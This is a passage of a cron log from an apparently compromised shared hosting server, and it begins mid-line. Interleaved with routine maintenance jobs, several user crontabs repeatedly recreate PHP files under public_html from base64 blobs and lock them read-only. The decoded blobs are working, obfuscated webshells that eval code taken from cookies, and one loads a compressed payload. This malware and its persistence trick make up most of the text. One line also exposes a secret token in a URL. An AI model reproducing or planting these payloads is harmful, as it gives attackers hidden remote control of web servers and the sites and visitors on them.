Y2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:07:01 medusa CROND[6743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:07:01 medusa CROND[6748]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:08:02 medusa CROND[30277]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 05:08:02 medusa CROND[30278]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:08:02 medusa CROND[30279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:08:02 medusa CROND[30280]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:08:02 medusa CROND[30282]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:08:02 medusa CROND[30284]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:08:02 medusa CROND[30285]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:08:02 medusa CROND[30288]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:08:02 medusa CROND[30292]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:08:02 medusa CROND[30293]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:08:02 medusa CROND[30287]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:08:02 medusa CROND[30295]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:08:02 medusa CROND[30298]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:08:02 medusa CROND[30303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:09:02 medusa CROND[21418]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 05:09:02 medusa CROND[21423]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:09:02 medusa CROND[21424]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:09:02 medusa CROND[21425]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:09:02 medusa CROND[21426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:09:02 medusa CROND[21427]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:09:02 medusa CROND[21428]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:09:02 medusa CROND[21429]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:09:02 medusa CROND[21431]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:09:02 medusa CROND[21435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:09:02 medusa CROND[21438]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:09:02 medusa CROND[21439]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:09:02 medusa CROND[21442]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:10:02 medusa CROND[12965]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:10:02 medusa CROND[12974]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:10:02 medusa CROND[13045]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 05:10:02 medusa CROND[13133]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:10:02 medusa CROND[13134]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:10:02 medusa CROND[13135]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:10:02 medusa CROND[13136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:10:02 medusa CROND[13137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:10:02 medusa CROND[13138]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:10:02 medusa CROND[13139]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:10:02 medusa CROND[13142]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
